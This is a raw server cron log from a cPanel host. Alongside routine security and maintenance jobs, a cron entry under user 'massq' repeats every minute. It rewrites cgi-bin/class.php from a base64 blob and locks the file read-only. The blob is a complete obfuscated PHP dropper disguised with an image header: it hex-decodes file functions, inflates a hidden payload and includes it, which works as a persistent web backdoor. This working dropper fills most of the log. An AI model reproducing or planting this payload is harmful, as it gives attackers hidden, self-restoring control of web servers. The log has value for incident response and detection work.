Sep  4 18:50:01 server CROND[8323]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 18:51:01 server CROND[9156]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:51:01 server CROND[9155]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:51:01 server CROND[9154]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:52:01 server CROND[9642]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:52:01 server CROND[9641]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:52:01 server CROND[9643]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:53:01 server CROND[10024]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:53:01 server CROND[10025]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:53:01 server CROND[10026]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:54:01 server CROND[10413]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:54:01 server CROND[10414]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:54:01 server CROND[10415]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:55:01 server CROND[10787]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 18:55:01 server CROND[10793]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 18:55:01 server CROND[10795]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 18:55:01 server CROND[10794]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 18:55:01 server CROND[10796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:55:01 server CROND[10797]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:55:01 server CROND[10798]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:56:01 server CROND[11688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:56:01 server CROND[11689]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:56:01 server CROND[11692]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:57:01 server CROND[12070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:57:01 server CROND[12071]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:57:01 server CROND[12072]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:57:01 server CROND[12073]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 18:58:01 server CROND[12574]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:58:01 server CROND[12575]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:58:01 server CROND[12576]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:59:01 server CROND[12960]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:59:01 server CROND[12959]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:59:01 server CROND[12961]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:00:01 server CROND[13335]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 19:00:01 server CROND[13336]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 19:00:01 server CROND[13341]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:00:01 server CROND[13344]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 19:00:01 server CROND[13343]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:00:01 server CROND[13345]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:00:01 server CROND[13340]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 19:00:01 server CROND[13342]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 19:00:01 server CROND[13350]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  4 19:01:01 server CROND[14181]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:01:01 server CROND[14182]: (root) CMD (run-parts /etc/cron.hourly)
Sep  4 19:01:01 server CROND[14183]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:01:01 server CROND[14184]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:01:01 server run-parts(/etc/cron.hourly)[14182]: starting 0anacron
Sep  4 19:01:01 server run-parts(/etc/cron.hourly)[14202]: finished 0anacron
Sep  4 19:02:01 server CROND[14550]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:02:01 server CROND[14551]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:02:01 server CROND[14553]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
